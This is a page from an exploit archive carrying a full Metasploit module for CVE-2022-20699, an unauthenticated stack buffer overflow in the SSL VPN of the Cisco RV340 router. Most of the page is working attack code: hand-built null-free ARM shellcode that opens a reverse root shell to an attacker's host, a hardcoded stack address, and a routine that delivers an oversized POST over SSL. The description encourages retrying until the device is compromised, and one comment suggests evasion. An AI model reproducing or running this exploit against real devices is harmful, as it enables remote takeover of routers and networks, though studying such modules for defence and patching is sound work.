what you don't know can hurt you

Cisco RV340 SSL VPN Unauthenticated Remote Code Execution

Cisco RV340 SSL VPN Unauthenticated Remote Code Execution
Posted May 11, 2022
Authored by Pedro Ribeiro, Radek Domanski | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the Cisco RV series router's SSL VPN functionality. The default SSL VPN configuration is exploitable, with no authentication required and works over the Internet! The stack is executable and no ASLR is in place, which makes exploitation easier. Successful execution of this module results in a reverse root shell. A custom payload is used as Metasploit does not have ARMLE null free shellcode. This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon 2022. For more information check the referenced advisory. This module has been tested in firmware versions 1.0.03.15 and above and works with around 65% reliability. The service restarts automatically so you can keep trying until you pwn it. Only the RV340 router was tested, but other RV series routers should work out of the box.

tags | exploit, overflow, shell, root, shellcode
systems | cisco
advisories | CVE-2022-20699
SHA-256 | 619682621429d96cd23a1e1bcd69a008398c5244223265886c52e2e417242d02

Cisco RV340 SSL VPN Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN
functionality. The default SSL VPN configuration is exploitable, with no authentication
required and works over the Internet!
The stack is executable and no ASLR is in place, which makes exploitation easier.
Successful execution of this module results in a reverse root shell. A custom payload is
used as Metasploit does not have ARMLE null free shellcode.
This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon
2022. For more information check the referenced advisory.
This module has been tested in firmware versions 1.0.03.15 and above and works with around
65% reliability. The service restarts automatically so you can keep trying until you pwn it.
Only the RV340 router was tested, but other RV series routers should work out of the box.
},
'Author' => [
'Pedro Ribeiro <pedrib@gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' => [
['CVE', '2022-20699'],
['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'],
['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'],
['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'],
],
'Arch' => ARCH_ARMLE,
# We actually use our own shellcode because Metasploit doesn't have ARM encoders!
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
'Targets' => [
[
'Cisco RV340 Firmware Version <= 1.0.03.24',
{
# Shellcode location on stack (rwx stack, seriously Cisco...)
# The same for all vulnerable firmware versions: 0x704aed98 (+ 1 for thumb)
#
# NOTE: this is the shellcode location about 65% of the time. The rest is at
# The remaining 35% will land at 0x704f6d98, causing this sploit will fail.
# There's no way to guess it, but the service will restart again, so let's stick
# with the most common stack address.
'Shellcode' => "\x99\xed\x4a\x70"
}
],
],
'DisclosureDate' => '2022-02-02',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => CRASH_SERVICE_RESTARTS,
# repeatable... but only works 65% of the time, see comments above
'Reliability' => REPEATABLE_SESSION,
'SideEffects' => nil
}
)
)
register_options(
[
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL', true])
]
)
end

def check
# This should return a string like:
# "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)
res = send_request_cgi({ 'uri' => '/login.html' })
if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server')
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Unknown
end
end

def hex_to_bin(int)
hex = int.to_s(16)
if (hex.length == 1) || (hex.length == 3)
hex = '0' + hex
end
hex.scan(/../).map { |x| x.hex.chr }.join
end

def prep_shelly
# We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE.
# A null free shellcode is needed, as this memory corruption is done through `strcat()`
#
# SHELLCODE_START:
# // Original shellcode from Azeria's blog
# // Expanded and Improved by the Flashback Team
# .global _start
# _start:
# .THUMB
# // socket(2, 1, 0)
# mov r0, #2
# mov r1, #1
# sub r2, r2
# mov r7, #200
# add r7, #81 // r7 = 281 (socket)
# svc #1 // r0 = resultant sockfd
# mov r4, r0 // save sockfd in r4
#
# // connect(r0, &sockaddr, 16)
# adr r1, struct // pointer to address, port
# strb r2, [r1, #1] // write 0 for AF_INET
# mov r2, #16
# add r7, #2 // r7 = 283 (connect)
# svc #1
#
# // dup2(sockfd, 0)
# mov r7, #63 // r7 = 63 (dup2)
# mov r0, r4 // r4 is the saved sockfd
# sub r1, r1 // r1 = 0 (stdin)
# svc #1
# // dup2(sockfd, 1)
# mov r0, r4 // r4 is the saved sockfd
# mov r1, #1 // r1 = 1 (stdout)
# svc #1
# // dup2(sockfd, 2)
# mov r0, r4 // r4 is the saved sockfd
# mov r1, #2 // r1 = 2 (stderr)
# svc #1
#
# // execve("/bin/sh", 0, 0)
# adr r0, binsh
# sub r2, r2
# sub r1, r1
# strb r2, [r0, #7]
# push {r0, r2}
# mov r1, sp
# cpy r2, r1
# mov r7, #11 // r7 = 11 (execve)
# svc #1
#
# eor r7, r7, r7
#
# struct:
# .ascii "\x02\xff" // AF_INET 0xff will be NULLed
# .ascii "\x11\x5d" // port number 4445
# .byte 5,5,5,1 // IP Address
# binsh:
# .ascii "/bin/shX"
# SHELLCODE_END
#
# Since we need to be null free, we have a very specific corner case, for addresses:
# X.0.Y.Z
# X.Y.0.Z
# X.Y.Z.0
# X.0.0.Y
# X.Y.0.0
# X.0.Y.0
# X.0.0.0
# These will contain a null byte for the each zero in the address.
#
# To fix this we add additional instructions to the shellcode and replace the null byte(s).
# adr r1, struct // pointer to address, port
# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)
# adr r1, struct // pointer to address, port
# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)
# adr r1, struct // pointer to address, port
# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)
#

# The following is used to convert LHOST and LPORT for shellcode inclusion
lport_h = hex_to_bin(lport)
lhost_h = ''
jump = 0xc
datastore['LHOST'].split('.').each do |n|
octet = hex_to_bin(n.to_i)
if octet == "\x00"
# Why we do this? Check comments below my fren
jump += 1
end
lhost_h += octet
end
lhost_h = lhost_h.force_encoding('binary')

# As part of the shellcode, we need to do:
# adr r1, struct // pointer to address, port
# strb r2, [r1, #1] // write 0 for AF_INET
#
# In order to do the "adr", we need to know where "struct" is. On an unmodified
# shellcode, this is "\x0c\xa1\x4a\x70".
# But if we have one or more null bytes in the LHOST, we need to add more instructions.
# This means the "\x0c", the distance from $pc to "struct, is going to be either
# "\x0d, "\x0e" or "\x0f".
# Long story short, this distance is the jump variable, and we need to calculate it
# properly the more instructions we add.
#
# This is our jump, now calculated with the additional (or not) instructions:
ins = hex_to_bin(jump) + "\xa1\x4a\x70"
jump -= 1

# And now we calculate all the null bytes we have, replace them with \xff and add
# the proper jump:
for i in 1..3 do
next unless lhost_h[i] == "\x00"

ins_add = ''
lhost_h[i] = "\xff"
if i == 1
# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)
ins_add = "\x4a\x71"
elsif i == 2
# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)
ins_add = "\x8a\x71"
elsif i == 3
# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)
ins_add = "\xca\x71"
end
ins += hex_to_bin(jump) + "\xa1" + ins_add
jump -= 1
end
ins = ins.force_encoding('binary')

shellcode = "\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins +
"\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21" \
"\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4" \
"\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h +
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"
shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode']
shelly
end

def sock_get(app_host, app_port)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp(
{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
sock.close if sock
end
if sock.nil?
fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
end

# also need to add support for old ciphers
ctx = OpenSSL::SSL::SSLContext.new
ctx.min_version = OpenSSL::SSL::SSL3_VERSION
ctx.security_level = 0
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
s.sync_close = true
s.connect
return s
end

def exploit
print_status("#{peer} - Pwning #{target.name}")
payload = prep_shelly
begin
sock = sock_get(rhost, rport)
# With the base request, our shellcode will be about 0x12a from $sp when we take control.
#
# But we noticed that by adding more filler in the request we can have better reliability.
# So let's use 0x86 as filler and dump the filler in the URL! This number is arbitrary and
# can be increased / decreased, but we find 0x86 works well.
# (this means our shellcode address in the target definition above is $sp + 0x12a + 0x86)
#
# It would be good to add some valid headers with semi random data for proper evasion :D
http = 'POST /' + rand_text_alphanumeric(0x86) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n"

sock.write(http)
sock.write(payload)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end
end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close